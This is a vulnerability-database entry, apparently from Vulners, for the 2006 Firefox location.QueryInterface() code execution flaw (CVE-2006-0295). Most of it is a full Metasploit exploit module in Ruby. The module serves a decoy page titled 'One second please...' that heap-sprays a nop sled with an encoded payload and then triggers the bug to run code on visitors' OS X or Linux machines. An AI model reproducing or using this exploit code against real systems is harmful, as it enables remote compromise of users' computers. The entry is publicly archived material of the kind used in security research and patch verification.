Firefox location.QueryInterface() Code Execution

🗓️ 10 Mar 2006 08:03:14Reported by hdm <[email protected]>Type

Firefox location.QueryInterface() Code Execution. Exploits code execution vulnerability in Mozilla Firefox browser

Reporter	Title	Published	Views	Family All 43
0day.today	Mozilla Firefox 1.5 location.QueryInterface() Code Execution (linux)	7 Feb 200600:00	–	zdt
0day.today	Mozilla Firefox 1.5 location.QueryInterface() Code Execution (osx)	8 Feb 200600:00	–	zdt
Tenable Nessus	Mozilla Thunderbird < 1.5 Multiple Vulnerabilities (deprecated)	14 Oct 200500:00	–	nessus
Tenable Nessus	Mozilla Firefox < 1.5.0.1 Multiple Vulnerabilities	2 Feb 200600:00	–	nessus
Tenable Nessus	Mozilla Firefox < 1.0.8 / 1.5.x < 1.5.0.2 Multiple Vulnerabilities	18 Aug 200400:00	–	nessus
Tenable Nessus	Mozilla Thunderbird < 1.5.0.2 or 1.0.8 Multiple Vulnerabilities (deprecated)	18 Aug 200400:00	–	nessus
Tenable Nessus	Mozilla Firefox < 1.7.13 Multiple Vulnerabilities	18 Aug 200400:00	–	nessus
Tenable Nessus	SeaMonkey < 1.0.1 Multiple Vulnerabilities	18 Aug 200400:00	–	nessus
Tenable Nessus	Firefox < 1.5.0.1 Multiple Vulnerabilities	4 Feb 200600:00	–	nessus
Tenable Nessus	SeaMonkey < 1.0 Multiple Vulnerabilities	5 Feb 200600:00	–	nessus

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  #
  # This module acts as an HTTP server
  #
  include Msf::Exploit::Remote::HttpServer::HTML

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Firefox location.QueryInterface() Code Execution',
      'Description'    => %q{
          This module exploits a code execution vulnerability in the Mozilla
        Firefox browser. To reliably exploit this vulnerability, we need to fill
        almost a gigabyte of memory with our nop sled and payload. This module has
        been tested on OS X 10.3 with the stock Firefox 1.5.0 package.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>  ['hdm'],
      'References'     =>
        [
          ['CVE', '2006-0295'],
          ['OSVDB', '22893'],
          ['BID', '16476'],
          ['URL', 'http://www.mozilla.org/security/announce/mfsa2006-04.html'],
        ],
      'Payload'        =>
        {
          'Space'    => 1000 + (rand(256).to_i * 4),
          'BadChars' => "\x00",
        },
      'Platform'       => %w{ osx linux },
      'Targets'        =>
        [
          [ 'Firefox 1.5.0.0 Mac OS X',
            {
              'Platform' => 'osx',
              'Arch' => ARCH_PPC
            }
          ],

          [ 'Firefox 1.5.0.0 Linux',
            {
              'Platform' => 'linux',
              'Arch' => ARCH_X86,
            }
          ],
        ],
      'DisclosureDate' => '2006-02-02'
      ))
  end

  def on_request_uri(cli, request)

    # Re-generate the payload
    return if ((p = regenerate_payload(cli)) == nil)

    print_status("Sending #{self.name}")
    send_response_html(cli, generate_html(p), { 'Content-Type' => 'text/html' })
    handler(cli)
  end

  def generate_html(payload)

    enc_code = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))
    enc_nops = Rex::Text.to_unescape(make_nops(4), Rex::Arch.endian(target.arch))

    return <<-EOF
<html>
<head>
<title>One second please...</title>
<script language="javascript">

function BodyOnLoad() {
  h = FillHeap();
  location.QueryInterface(eval("Components.interfaces.nsIClassInfo"));
};

function FillHeap() {
  // Filler
  var m = "";
  var h = "";
  var a = 0;

  // Nop sled
  for(a=0; a<(1024*256); a++)
    m += unescape("#{enc_nops}");

  // Payload
  m += unescape("#{enc_code}");

  // Repeat
  for(a=0; a<1024; a++)
    h += m;

  // Return
  return h;
}
</script>
</head>
<body onload="BodyOnLoad()">
</body>
</html>
EOF
  end
end

02 Oct 2020 20:00Current

7.5High risk

Vulners AI Score7.5

CVSS 25.1

EPSS0.70741